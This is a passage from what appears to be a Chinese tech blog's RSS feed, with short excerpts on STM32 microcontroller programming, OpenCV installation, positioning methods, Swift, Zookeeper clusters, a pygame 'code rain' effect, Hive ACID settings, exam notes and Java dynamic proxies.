其中的PA0兼具WKUP功能，用于唤醒处于待机状态的STM32。引脚20：IO口/BOOT1引脚。BOOT1引脚用于控制启动模式。引脚23/24、35/36、47/48：系统的主电源口。STM32采用分区供电的方式，所以供电口多。引脚34、37~40：IO口/调试端口。STM32支持SWD和JTAG两种调试方式。SWD只需SWDIO、SWCLK两根线；JTAG需要全部的5根。教程使用STLINK(SWD)下载程序，此时剩余3个引脚可配置成IO口。引脚44：BOOT0，和BOOT1配合，用于启动配置。启动配置就是指定程序开始运行的位置，一般程序在Flash程序存储器中运行，但在某些情况下可以指定程序在别的地方开始执行以完成特殊功能。&#xA;“主闪存存储器”启动模式最常用。“系统存储器”模式用于串口下载程序，系统存储器中存储的是一段STM32的BootLoader程序，其作用就是接收串口数据然后刷新到主闪存中。当5个调试端口全被配置成IO口时，单片机将无法再下载程序！！ 此时只能使用串口下载程序的方式进行补救。另外，当手头上没有STLINK和JLINK，也可以使用串口来下载程序，通俗来说就是“刷机”。😂“内置SRAM”模式主要用于程序调试，使用较少，本教程不会出现。注意BOOT值是在上电一瞬间（第4个时钟上升沿）有效，后面随意，即BOOT1引脚后续会变成普通IO口。&#xA;一般性描述： 进行某个外设初始化时，一定要注意先开启相应的RCC外设时钟，但是EXTI、内核外设（如NVIC）无需手动开启。配置外设时钟时，可以参考上面的“STM32芯片系统结构”，以找到外设对应的位置。stm32中每个中断通道都对应一个固定的中断函数的名称，这些名称从启动文件startup_stm32f10x_md.s里查看，最开始后缀是xxxxHandler的定义都是中断函数名。保险起见，每次进入中断函数时，都应该先看一下当前中断的中断标志位是否为SET状态。中断函数结束前，也一定要记得清除该中断的中断标志位。 3. GPIO库函数 图0-2 GPIO的库函数 GPIO外设配置：&#xA;关于GPIO的模式配置GPIO_Mode，可以查阅参考手册的“8.1.11 外设的GPIO配置”一节，里面已经规定好各种外设（如TIM、USART、SPI、IIC、CAN等）应该配置的GPIO模式。 GPIO_PinLockConfig【使用不多】：用于锁定GPIO配置，防止配置被更改。GPIO_PinRemapConfig【重要】：用于进行引脚重映射，不要随便动SWD调试端口。注意参数GPIO_Remap_SWJ_Disable慎用！！会将PA13、PA14、PA15、PB3、PB4这5个调试端口全变成普通的GPIO口，失去调试功能，就不能使用STLINK下载程序了。恢复的方法就是使用串口重新下载初始化程序。 AFIO外设配置：&#xA;库函数在GPIO中。 GPIO_AFIODeInit：复位AFIO外设，调用该函数会清除AFIO外设的全部配置。GPIO_EventOutputConfig【使用不多】：用于配置AFIO的事件输出功能。GPIO_EventOutputCmd【使用不多】：用于配置AFIO的事件输出功能。GPIO_EXTILineConfig【重要】：配置AFIO的数据选择寄存器，来选择想要的中断引脚。 4. EXTI库函数 图0-3 EXTI的库函数 EXTI_DeInit：将EXTI的配置清除，恢复成上电默认的状态。EXTI_Init【常用】：根据结构体的参数配置EXTI外设，常用于初始化EXTI。EXTI_StructInit：把参数传递的结构体变量赋默认值。&#xA;注：上面这个三个函数，基本上所有的外设都有。EXTI_GenerateSWInterrupt：用于软件触发外部中断，使得相应的中断线产生一次外部中断。只需要外部引脚触发外部中断，则不需要这个函数。EXTI_GetFlagStatus：获取指定的标志位状态。用于主程序。EXTI_ClearFlag：清除指定的标志位。用于主程序。EXTI_GetITStatus：获取中断标志位。用于中断函数。EXTI_ClearITPendingBit：清除中断挂起标志位。用于中断函数。&#xA;上面这四个函数都是对状态寄存器的读写，只不过后两个函数只能读写与中断有关的标志位，并对中断是否允许做出了判断；前两个函数只是一般的读写标志位，没有额外的处理，能不能触发中断的标志位都能读取。 5. NVIC库函数 图0-4 NVIC的库函数 NVIC内核外设配置：（在misc文件中）</description>
    </item>
    <item>
      <title>Linux服务器上如何安装OpenCV的库？</title>
      <link>https://bchobby.github.io/posts/caa33b3d88ca8b2379463c724e39d297/</link>
      <pubDate>Mon, 29 May 2023 16:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caa33b3d88ca8b2379463c724e39d297/</guid>
      <description>Linux上安装OpenCV其实挺简单的。对于Python来说，可以直接使用pip进行安装，如：&#xA;pip3 install opencv-python 当然，如果你是想在C++或者Java内作为外部包使用，你可以考虑编译安装。&#xA;安装依赖 首先是依赖安装问题，我们需要有GCC编译器还有Cmake：&#xA;# Debian/Ubuntu版本 sudo apt-get install build-essential sudo apt-get install cmake # CentOS发行版本 sudo yum install gcc gcc-c++ sudo yum install cmake OpenCV源码 我们进入OpenCV的官网找到Source Forge选项：&#xA;Cmake预编译 下载好了OpenCV的源码，接下来我们使用Cmake进行预编译，进入OpenCV源码目录，输入：&#xA;cmake -S . -B build -DCMAKE_INSTALL_PREFIX=/usr/local/opencv 其中：&#xA;DCMAKE_INSTALL_PREFIX：OpenCV的安装地址，这里选择安装到/sur/local/opencv里。&#xA;之后，就会开始“跑码”预编译生成build文件夹和Markfile文件：&#xA;但是这样，我们后续编译只能安装Python2（系统）和C++的支持，无法支援到Python3和java。&#xA;需要支援带Python3和Java，需要在Cmake前，部署JAVA_HOME和设置Python3的地址。具体可以看原文嗷&#xA;我们Cmake预编译没问题，只需运行make命令即可：&#xA;make make install 卸载OpenCV 卸载OpenCV很简单，我们重新进入OpenCV源码目录内的build文件夹，运行：&#xA;make uninstall all 之后，OpenCV就会自动卸载完成：&#xA;综上所述，就是Linux上安装OpenCV的方法嗷。</description>
    </item>
    <item>
      <title>定位实测记录</title>
      <link>https://bchobby.github.io/posts/65196e349fdbe10237741d472d12b539/</link>
      <pubDate>Mon, 29 May 2023 15:32:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65196e349fdbe10237741d472d12b539/</guid>
      <description>公司优选利用高德，百度这种地图公司的定位&#xA;一.自己总结&#xA;gps/北斗可以使用手机定位，但是不在室外基本上获取不到信号&#xA;wifi 必须连接,wifi定位其实就是有服务器记录这些wifi地址，也要通过第三方去查询才知道经纬度&#xA;基站 只能获取到基站编号，但是获取基站位置需要第三方网址接口查询，才能知道经纬度&#xA;蓝牙 室内定位，一般是根据信号去计算到哪个定位用蓝牙基站更近，然后计算出位置&#xA;二.蓝牙定位距离计算 获得相对距离，正如您所说的“越来越近”或“越来越远”，使用下面发布的公式在 12 米范围内是有可能的。超过 12 米时，它会变得非常不稳定。但它非常复杂，需要您使用您认为足够长度的移动平均解决方案。&#xA;您可以使用以下公式计算 RSSI 与距离之间的关系:&#xA;RSSI = -(10*n*log10(d) + A) 在这种情况下， n = 路径损耗指数，因为你不需要精确的距离，只是一种检查距离更近或更远的方法，你可以使用 2 作为值，我发现在大多数情况下这是最现实的。 A = 在 1 米距离处测得的 RSSI 值，您需要提前测量它来进行计算，但由于它变化很大，所以只需使用 -60dB 这样的值。在大多数情况下，这也是平均水平。&#xA;因此可以通过以下公式粗略猜测以米为单位的距离:&#xA;distance = 10 ^ ((-RSSI - 60) / (10 * 2)); 这不是很准确，但足以告诉您它是否在有限范围内更近/更远。&#xA;三.北斗、GPS、WiFi、基站、蓝牙几种定位方式比较&#xA;定位方式有很多种，有专门用于室内的定位技术，也有广泛用于室外定位的技术，比如北斗定位、GPS定位、WiFi定位、基站定位、蓝牙定位，今天卫通达要分析的就是这几种适用于室外的定位方式。&#xA;1、GPS定位&#xA;GPS定位是最常见的，它信号好、定位精度高、使用范围广，几乎所有需要定位的设备都会优先使用GPS定位。缺点是，不能信号透过金属和钢筋水泥混合物，因而不能在室内如地下停车场、高桥下、密集的楼房下使用。而且GPS在首次启动定位时，搜星速度慢，大约需要2~3分钟，不过现在这个缺陷也得到很好的解决了，很多GPS定位的设备都有AGPS或EPO辅助定位功能，帮助在搜星时快速定位位置，一般只需要几秒就搞定了，有的甚至实现秒定定位了。&#xA;2、北斗定位&#xA;北斗定位，众所周知，北斗是我国全力发展的可以跟GPS定位抗衡的卫星定位方式，定位原理跟GPS是一样的，都是根据天上的卫星来确定当前的位置的。虽然原理都一样吧，但是目前在定位精度、使用范围上还是有一定的差距，现在还是主要用于军事上，民用范围还在大力推广，民用范围定位精度几米到几十米都有，北斗模块的定位芯片价格相较GPS模块要高，在一些偏远山村，偏僻的地方可能会没有信号。&#xA;目前GPS卫星定位系统覆盖的是全球范围，能够确保地球上任何地点、任何时间能同时观测到6-9颗卫星(实际上最多能观测到11颗)，而北斗现在仅对东南亚实现了全覆盖，计划在2020年左右，建成覆盖全球的北斗卫星导航系统。&#xA;3、基站定位&#xA;基站定位，基站定位也是很常见的定位方式了，它是基于三大通信运营商建立的基站来定位的，那么它的优缺点就很明显了，附近的基站点多，那么定位就准，如果站点少甚至没有，那就定位误差大，或者是无法定位。一般说来，不管基站点多少，基站的定位误差在几十米左右，误差大的有几百米。&#xA;4、WiFi定位&#xA;WiFi定位，WiFi定位其实是室内定位方式的一种，但随着WiFi在室外的大范围覆盖，它也渐渐在室外定位技术上得到很好的应用。wifi定位的原理，这里就不细讲了，技术上的东西说深了其实更难理解，我们只要知道，一般情况下，wifi热点（也就是AP，或者无线路由器）的位置都是固定的，热点只要通电，不管它怎么加密的，都一定会向周围发射信号，只需设备能够扫到wifi，不需要连接wifi，定位端就能把检测到的热点的信息发送给Skyhook（开发WiFi定位技术的公司）的服务器，服务器根据这些信息，查询、运算，就能知道客户端的具体位置了。WiFi定位的精度也是很高的，缺点是客户端必须能上网，而且附近必须有WiFi热点才行，离开大城市，这个功能就很难用到了。&#xA;5、蓝牙定位&#xA;蓝牙定位，使用蓝牙定位的限制比较多。主要是利用的是蓝牙4.0的beacon广播的功能，一般应用场合是在室内，定点布置beacon基站。&#xA;1.这些蓝牙beacon基站不断发送beacon广播报文（报文内含发射功率）。&#xA;2.搭载蓝牙4.0模块的终端设备收到beacon广播报文后，测量出接收功率，带入到功率衰减与距离关系的函数中，测算出距离该beacon基站的距离。&#xA;3.利用距离多个beacon基站的距离，即可实现多点定位的功能。&#xA;蓝牙定位的缺点很明显，需要附近有beacon基站发射信号，客户端需要打开蓝牙功能才能实现定位，而在生活中，这样的beacon基站是很少的，广大用户也没有一直开着蓝牙的习惯。&#xA;总结</description>
    </item>
    <item>
      <title>Swift的日常一些笔记</title>
      <link>https://bchobby.github.io/posts/25b3905a6c71ffde27a238a1a1c80a7a/</link>
      <pubDate>Mon, 29 May 2023 14:45:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b3905a6c71ffde27a238a1a1c80a7a/</guid>
      <description>一：弹出框的自定义View，一个空白的view层，通过调用弹出此类 1.类文件DateSelectView&#xA;import UIKit class DateSelectView:UIView{ var commonView:UIView? // var commonViewCloseBlock: (() -&amp;gt; Void)? let ALERTVIEW_HEIGHT = UIScreen.main.bounds.size.height / 2.4 let ALERTVIEW_WIDTH = UIScreen.main.bounds.size.width - 50 init() { let frame = CGRect(x: 0, y: 0, width: screenWidth, height: screenHeight) super.init(frame: frame) initView() } func initView(){ frame = UIScreen.main.bounds commonView = UIView(frame: CGRect(x: 25, y: screenHeight / 2 - ALERTVIEW_HEIGHT / 2, width: ALERTVIEW_WIDTH, height: ALERTVIEW_HEIGHT)) commonView!.backgroundColor = UIColor.white commonView!.layer.cornerRadius = 8.</description>
    </item>
    <item>
      <title>超详细Zookeeper&#43;Kafka&#43;ELK集群部署</title>
      <link>https://bchobby.github.io/posts/4278f9908bddccbcc48a6e1c403d5216/</link>
      <pubDate>Mon, 29 May 2023 10:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4278f9908bddccbcc48a6e1c403d5216/</guid>
      <description>一、Zookeeper 概述 1、Zookeeper 定义 Zookeeper是一个开源的分布式的，为分布式框架提供协调服务的Apache项目。&#xA;2、Zookeeper 工作机制 Zookeeper从设计模式角度来理解：是一个基于观察者模式设计的分布式服务管理框架，它负责存储和管理大家都关心的数据，然后接受观察者的注册，一旦这些数据的状态发生变化，Zookeeper就将负责通知已经在Zookeeper上注册的那些观察者做出相应的反应。也就是说 Zookeeper = 文件系统 + 通知机制。&#xA;3、Zookeeper 特点 （1）Zookeeper：一个领导者（Leader），多个跟随者（Follower）组成的集群。&#xA;（2）Zookeepe集群中只要有半数以上节点存活，Zookeeper集群就能正常服务。所以Zookeeper适合安装奇数台服务器。&#xA;（3）全局数据一致：每个Server保存一份相同的数据副本，Client无论连接到哪个Server，数据都是一致的。&#xA;（4）更新请求顺序执行，来自同一个Client的更新请求按其发送顺序依次执行，即先进先出。&#xA;（5）数据更新原子性，一次数据更新要么成功，要么失败。&#xA;（6）实时性，在一定时间范围内，Client能读到最新数据。&#xA;4、Zookeeper 数据结构 ZooKeeper数据模型的结构与Linux文件系统很类似，整体上可以看作是一棵树，每个节点称做一个ZNode。每一个ZNode默认能够存储1MB的数据，每个ZNode都可以通过其路径唯一标识。&#xA;5、Zookeeper 应用场景 提供的服务包括：统一命名服务、统一配置管理、统一集群管理、服务器节点动态上下线、软负载均衡等。&#xA;●统一命名服务&#xA;在分布式环境下，经常需要对应用/服务进行统一命名，便于识别。例如：IP不容易记住，而域名容易记住。&#xA;●统一配置管理&#xA;（1）分布式环境下，配置文件同步非常常见。一般要求一个集群中，所有节点的配置信息是一致的，比如Kafka集群。对配置文件修改后，希望能够快速同步到各个节点上。&#xA;（2）配置管理可交由ZooKeeper实现。可将配置信息写入ZooKeeper上的一个Znode。各个客户端服务器监听这个Znode。一旦 Znode中的数据被修改，ZooKeeper将通知各个客户端服务器。&#xA;●统一集群管理&#xA;（1）分布式环境中，实时掌握每个节点的状态是必要的。可根据节点实时状态做出一些调整。&#xA;（2）ZooKeeper可以实现实时监控节点状态变化。可将节点信息写入ZooKeeper上的一个ZNode。监听这个ZNode可获取它的实时状态变化。&#xA;●服务器动态上下线&#xA;客户端能实时洞察到服务器上下线的变化。&#xA;●软负载均衡&#xA;在Zookeeper中记录每台服务器的访问数，让访问数最少的服务器去处理最新的客户端请求。&#xA;6、Zookeeper 选举机制 ●第一次启动选举机制 （1）服务器1启动，发起一次选举。服务器1投自己一票。此时服务器1票数一票，不够半数以上（3票），选举无法完成，服务器1状态保持为LOOKING；&#xA;（2）服务器2启动，再发起一次选举。服务器1和2分别投自己一票并交换选票信息：此时服务器1发现服务器2的myid比自己目前投票推举的（服务器1）大，更改选票为推举服务器2。此时服务器1票数0票，服务器2票数2票，没有半数以上结果，选举无法完成，服务器1，2状态保持LOOKING&#xA;（3）服务器3启动，发起一次选举。此时服务器1和2都会更改选票为服务器3。此次投票结果：服务器1为0票，服务器2为0票，服务器3为3票。此时服务器3的票数已经超过半数，服务器3当选Leader。服务器1，2更改状态为FOLLOWING，服务器3更改状态为LEADING；&#xA;（4）服务器4启动，发起一次选举。此时服务器1，2，3已经不是LOOKING状态，不会更改选票信息。交换选票信息结果：服务器3为3票，服务器4为1票。此时服务器4服从多数，更改选票信息为服务器3，并更改状态为FOLLOWING；&#xA;（5）服务器5启动，同4一样当小弟。&#xA;●非第一次启动选举机制 （1）当ZooKeeper 集群中的一台服务器出现以下两种情况之一时，就会开始进入Leader选举：&#xA;1）服务器初始化启动。&#xA;2）服务器运行期间无法和Leader保持连接。&#xA;（2）而当一台机器进入Leader选举流程时，当前集群也可能会处于以下两种状态：&#xA;1）集群中本来就已经存在一个Leader。&#xA;对于已经存在Leader的情况，机器试图去选举Leader时，会被告知当前服务器的Leader信息，对于该机器来说，仅仅需要和 Leader机器建立连接，并进行状态同步即可。&#xA;2）集群中确实不存在Leader。&#xA;假设ZooKeeper由5台服务器组成，SID分别为1、2、3、4、5，ZXID分别为8、8、8、7、7，并且此时SID为3的服务器是Leader。某一时刻，3和5服务器出现故障，因此开始进行Leader选举。&#xA;选举Leader规则：&#xA;1.EPOCH大的直接胜出&#xA;2.EPOCH相同，事务id大的胜出&#xA;3.事务id相同，服务器id大的胜出&#xA;-------------------------------------------------------------------------------------&#xA;SID：服务器ID。用来唯一标识一台ZooKeeper集群中的机器，每台机器不能重复，和myid一致。&#xA;ZXID：事务ID。ZXID是一个事务ID，用来标识一次服务器状态的变更。在某一时刻，集群中的每台机器的ZXID值不一定完全一致，这和ZooKeeper服务器对于客户端“更新请求”的处理逻辑速度有关。&#xA;Epoch：每个Leader任期的代号。没有Leader时同一轮投票过程中的逻辑时钟值是相同的。每投完一次票这个数据就会增加&#xA;二、部署 Zookeeper 集群 1、部署Zookeeper集群的操作步骤 准备 3 台服务器做 Zookeeper 集群</description>
    </item>
    <item>
      <title>30行python代码实现“代码雨”</title>
      <link>https://bchobby.github.io/posts/632c0df845f31db66721c2dc1832a973/</link>
      <pubDate>Mon, 29 May 2023 10:18:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/632c0df845f31db66721c2dc1832a973/</guid>
      <description>1. 介绍 上手 python，很多人最先接触的就是pygame 包了，能在有一定趣味性的同时，建立起对 python 的基本认识。&#xA;提到编程，我想很多人的第一印象就是影片中的黑客形象，在黑色背景下敲击键盘，打出闪烁着绿光的字体，潜入破解一个个系统......&#xA;当然，真实情况与上述想象当然是毫不相干了，但是既然有了想象，为啥不去靠自己的尝试去实现一下呢？所以，我们这次就用非常简单的30行代码来实现一个代码雨的效果，满足一下我们的幻想和好奇心。&#xA;此次我们只是用pygame与random两个包，首先，将他们导入：​​​​​​&#xA;import pygameimport random 之后，我们进行pygame界面的初始化工作：&#xA;# 参数SCREENSIZE=(600,600)BLACK=(0,0,0,13)# 初始化pygame.init()font = pygame.font.SysFont(&#39;宋体&#39;, 20)screen = pygame.display.set_mode(SCREENSIZE)surface = pygame.Surface(SCREENSIZE, flags=pygame.SRCALPHA)pygame.Surface.convert(surface)surface.fill(BLACK)screen.fill(BLACK) 之后设置一下我们字体的相关内容：&#xA;# 内容lib=[chr(i) for i in range(48,48+10)] + [chr(i) for i in range(97,97+26)] # [0-9 a-z]texts = [font.render(l, True, (0, 255, 0)) for l in lib]cols = list(range(40)) # 字体15, 窗口600 最后在一个循环中，更新界面并绘制出代码雨：&#xA;while True: for event in pygame.event.get(): if event.type == pygame.QUIT: exit() pygame.time.delay(33) screen.</description>
    </item>
    <item>
      <title>Hive Aapche 设置为事务表（ACID）This command is not allowed on an ACID table xxx with a non-ACID transaction</title>
      <link>https://bchobby.github.io/posts/19ae94e2b65fbbf0c1cb764e5bee4c1a/</link>
      <pubDate>Mon, 29 May 2023 09:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19ae94e2b65fbbf0c1cb764e5bee4c1a/</guid>
      <description>Apache Hive中默认的创建的表为非事务表，如果需要将表设置为事务表需要修改以下参数：&#xA;参数配置文件为hive-site.xml&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.support.concurrency&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.txn.manager&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;org.apache.hadoop.hive.ql.lockmgr.DbTxnManager&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.compactor.initiator.on&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.compactor.worker.threads&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;1&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.create.as.insert.only&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.optimize.acid.meta.columns&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 当表为事务表时，如果使用非事务的参数去执行SQL，会报如下错误：&#xA;Error: Error while compiling statement: FAILED: SemanticException [Error 10265]: This command is not allowed on an ACID table test_acid with a non-ACID transaction manager. Failed command: create table test_acid</description>
    </item>
    <item>
      <title>软件设计师笔记（一）</title>
      <link>https://bchobby.github.io/posts/14c050bb8e7bc3bbd47edbf380d8fea1/</link>
      <pubDate>Mon, 29 May 2023 09:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14c050bb8e7bc3bbd47edbf380d8fea1/</guid>
      <description>一、软件能力成熟度模型CMM (1)初始级(initial)。工作无序，项目进行过程中常放弃当初的计划。管理无章法，缺乏健全的管理制度。开发项目成效不稳定，项目成功主要依靠项目负责人的经验和能力，他一旦离去，工作秩序面目全非。&#xA;(2)可重复级(Repeatable)。管理制度化，建立了基本的管理制度和规程，管理工作有章可循。 初步实现标准化，开发工作比较好地按标准实施。 变更依法进行，做到基线化，稳定可跟踪，新项目的计划和管理基于过去的实践经验，具有复现以前成功项目的环境和条件。&#xA;(3)已定义级(Defined)。开发过程，包括技术工作和管理工作，均已实现标准化、文档化。建立了完善的培训制度和专家评审制度，全部技术活动和管理活动均可控制，对项目进行中的过程、岗位和职责均有共同的理解 。&#xA;(4)已管理级(Managed)。产品和过程已建立了定量的质量目标。开发活动中的生产率和质量是可量度的。已建立过程数据库。已实现项目产品和过程的控制。可预测过程和产品质量趋势，如预测偏差，及时纠正。&#xA;(5)优化级(Optimizing)。可通过采用新技术、新方法，集中精力改进过程。具备防缺陷、识别薄弱环节以及改进的手段。可取得过程有效性的统计数据，并可据此进行分析，从而得出最佳方法。&#xA;能力成熟度模型集成CMMI&#xA;CL0(未完成的)：过程域未执行或未得到CL1中定义的所有目标&#xA;CL1(已执行的)：其共性目标是过程将可标识的输入工作产品转换成可标识的输出工作产品，以实现支持过程域的特别目标&#xA;CL2(已管理的)：其共性目标是已管理的过程的制度化。根据组织级政策规定过程的运作将使用哪个过程，项目遵循已文档化的计划和过程描述，所有正在工作的人都有权使用足够的资源，所有工作任务和工作产品都将被监控、控制、和审评&#xA;CL3(已定义级的)：其共性目标集中于已定义的过程的制度化。过程是按照组织的裁剪指南从组织的标准过程中裁剪得到的，还必须收集过程资产和过程的度量，并且用于将来对过程的改进&#xA;CL4(定量管理的)：其共性目标集中于可定量管理的过程的制度化，使用测量和质量保证来控制和改进过程域，建立和使用关于质量和过程执行的质量目标作为管理准则&#xA;CL5(优化的)：使用量化(统计学)手段改变和优化过程域，以满足客户的改变和持续改进计划中的过程域的功效&#xA;二、排序算法复杂度&#xA;三、冗余附加技术&#xA;冗余附加技术是指为实现结构、信息和时间冗余技术所需的资源和技术，包括程序、指令、数据、存放和调动它们的空间和通道等。&#xA;在屏蔽硬件错误的容错技术中，冗余附加技术包括：关键程序和数据的冗余及调用;检测、表决、切换、重构和复算的实现。&#xA;在屏蔽软件错误的容错技术中，冗余附加技术包括：冗余备份程序的存储及调用；实现错误检查和错误恢复的程序;实现容错软件所需的固化程序。&#xA;四、主定理&#xA;主定理(Master Theorem) - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/113406812&#xA;五、公钥算法&#xA;既然是加密，那肯定是不希望别人知道我的消息，所以只有我才能解密，所以可得出公钥负责加密，私钥负责解密；同理，既然是签名，那肯定是不希望有人冒充我发消息，只有我才能发布这个签名，所以可得出私钥负责签名，公钥负责验证。&#xA;六、常用端口号&#xA;协议/服务名称&#xA;端口号&#xA;简介&#xA;ftp&#xA;20、21&#xA;File Transfer Protocol 文件传输协议，21用于连接，20用于传输&#xA;ssh&#xA;22&#xA;Secure Shell 安全外壳协议，专为远程登录会话和其他网络服务提供安全性的协议&#xA;http&#xA;80&#xA;Hyper Text Transfer Protocol 超文本传输协议，用于网页浏览&#xA;DNS&#xA;53&#xA;Domain Name System 域名系统，域名解析&#xA;https&#xA;443&#xA;Hypertext Transfer Protocol Secure 超文本传输安全协议，用于安全浏览网页&#xA;www代理服务&#xA;8080&#xA;Apache Tomcat web server，进行网页浏览</description>
    </item>
    <item>
      <title>java动态代理：jdk动态代理和cglib动态代理</title>
      <link>https://bchobby.github.io/posts/801349f704c8b7286f27d03a8a9a8e27/</link>
      <pubDate>Mon, 29 May 2023 09:17:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/801349f704c8b7286f27d03a8a9a8e27/</guid>
      <description>文章目录 1 动态代理1.1 jdk动态代理（基于接口的动态代理）1.2 cglib动态代理（基于类的动态代理） 2 代码实现2.1 jdk动态代理2.2 cglib动态代理 1 动态代理 Java中的动态代理机制是一种实现AOP（面向切面编程）技术的重要手段，它可以在不修改源代码的情况下进行增强操作。在Java中，有两种动态代理方式：一种是JDK动态代理，另一种是CGLIB动态代理。&#xA;1.1 jdk动态代理（基于接口的动态代理） Java基于接口的动态代理是一种在运行时动态生成代理类的技术。它是通过反射机制在运行时生成代理对象，对被代理对象的方法进行拦截处理，实现增强功能，而不需要像静态代理一样手动编写代理类。&#xA;Java基于接口的动态代理需要实现两个接口：InvocationHandler和Proxy。InvocationHandler接口中定义了一个invoke方法，该方法接收一个代理对象、被代理对象的方法和参数，并返回代理对象对被代理对象的方法进行增强后的返回值。Proxy类中则提供了一个静态方法newProxyInstance，用于创建代理对象。&#xA;使用Java基于接口的动态代理，需要按照以下步骤：&#xA;定义一个接口，该接口中定义需要被代理的方法。实现InvocationHandler接口，重写invoke方法，对需要被代理的方法进行增强处理。使用Proxy类的newProxyInstance方法，创建代理对象。 Java基于接口的动态代理可以实现一些横切关注点，比如记录方法调用时长、打印日志、权限校验等，使得我们的代码更加灵活和易于维护。&#xA;1.2 cglib动态代理（基于类的动态代理） Java CGLIB 动态代理是一种在运行时生成代理对象的技术，它可以在不修改原始类型（类）的基础上，为该类型创建一个代理子类，该代理子类可以拦截原始类中的方法调用。相较于Java JDK动态代理，它可以代理没有实现接口的类。&#xA;CGLIB 是 Code Generation Library（代码生成库）的简称，是一个强大的高性能的代码生成库，CGLIB 可以在运行期间扩展 Java 类和实现 Java 接口。它提供了很多实用的功能，例如方法拦截、字段拦截、方法调用前后拦截等等。&#xA;2 代码实现 下面以一个计算器为例，通过动态代理拦截计算器方法的执行，在方法执行前后打印日志。&#xA;src\main\java\myproxy ├──cglib_proxy │ ├──CglibTest.java │ └──MyLoggerInterceptor.java ├──jdk_proxy │ ├──JDKProxyTest.java │ └──MyLoggerProxy.java ├──Calculator.java └──CalculatorImpl.java public interface Calculator { public int add(int a, int b); public int sub(int a, int b); } public class CalculatorImpl implements Calculator { @Override public int add(int a, int b) { System.</description>
    </item>
    <item>
      <title>【特征选择】基于二进制粒子群算法的特征选择方法（GRNN广义回归神经网络分类）【Matlab代码#32】</title>
      <link>https://bchobby.github.io/posts/505d6f427dd3f40e1adab3ed85a9e557/</link>
      <pubDate>Sun, 28 May 2023 23:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/505d6f427dd3f40e1adab3ed85a9e557/</guid>
      <description>文章目录 【可更换其他算法，`获取资源`请见文章第6节：资源获取】1. 特征选择问题2. 二进制粒子群算法3. 广义回归神经网络（GRNN）分类4. 部分代码展示5. 仿真结果展示6. 资源获取 【可更换其他算法，获取资源请见文章第6节：资源获取】 1. 特征选择问题 特征选择是指从原始数据中选择最具有代表性和有用性的特征，以用于建模和预测任务。它是机器学习和数据挖掘中的重要步骤，可以提高模型的性能和解释能力，并降低计算成本和过拟合的风险。&#xA;特征选择的方法可以分为三大类：过滤方法（Filter methods）、包装方法（Wrapper methods）和嵌入方法（Embedded methods）。&#xA;过滤方法是根据某种准则或评估指标对特征进行评估和排序，然后选择排名靠前的特征。常用的过滤方法包括相关系数、信息增益、方差选择等。这些方法独立于具体的学习算法，计算效率高，但不能考虑特征子集之间的相互关系。&#xA;包装方法是利用机器学习算法对不同的特征子集进行评估，以确定最佳的特征子集。这类方法通常以模型性能为评价指标，例如递归特征消除（Recursive Feature Elimination, RFE）和遗传算法等。包装方法的计算代价较高，但能够考虑特征之间的相互关系。本文采用的就是包装方法。&#xA;嵌入方法是指在学习算法中直接嵌入特征选择过程，通过学习过程自动选择最佳的特征。常见的嵌入方法包括L1正则化（L1 Regularization）和决策树的剪枝等。&#xA;选择适合的特征选择方法需要考虑数据的特点、问题的要求以及计算资源的限制。常用的特征选择工具包括scikit-learn（Python）、Weka（Java）和caret（R）等，它们提供了多种特征选择方法的实现。&#xA;需要注意的是，特征选择是一个迭代的过程，需要根据实际情况不断尝试和调整。在特征选择之前，应该对数据进行预处理、探索性数据分析和特征工程等步骤，以保证特征选择的效果和模型的可靠性。&#xA;2. 二进制粒子群算法 二进制粒子群算法（Binary Particle Swarm Optimization，BPSO）是一种基于群体智能的优化算法，用于解决二进制编码的优化问题。它是粒子群算法（Particle Swarm Optimization，PSO）的一种变体，适用于离散型优化问题。&#xA;在二进制粒子群算法中，每个粒子表示一个解向量，而解向量中的每个维度都是二进制值，通常用0和1表示。粒子群算法通过模拟鸟群中鸟的觅食行为，来搜索最优解。每个粒子根据自身历史最优解和群体最优解的信息，更新自己的位置和速度，并通过适应度函数评估自身的解的质量。&#xA;3. 广义回归神经网络（GRNN）分类 图1 广义回归神经网络结构图 GRNN数据分类过程如下：&#xA;输入训练数据集，包括特征向量和对应的类别标签。对每个训练样本，计算其与测试样本之间的距离。常用的距离度量方法包括欧氏距离、曼哈顿距离等。基于距离计算每个训练样本的权重，通常使用高斯核函数来计算权重。高斯核函数将距离转换为权重，越近的样本权重越高，越远的样本权重越低。对每个类别的样本，根据其权重进行加权平均。权重越高的样本对应的类别影响越大。将测试样本划分到具有最高加权平均值的类别中。 4. 部分代码展示 %% GRNN 广义回归神经网络 classification all_select=ones(1,dim); [predictResult,accuracy,objval]=GRNN(all_select,trainData ,testData,trainlabel,testlabel,labels,dim); %% PSO optimisation for feature selection SearchAgents_no=30; % Number of search agents Max_iteration=30; % Maximum numbef of iterations % 二进制粒子群算法 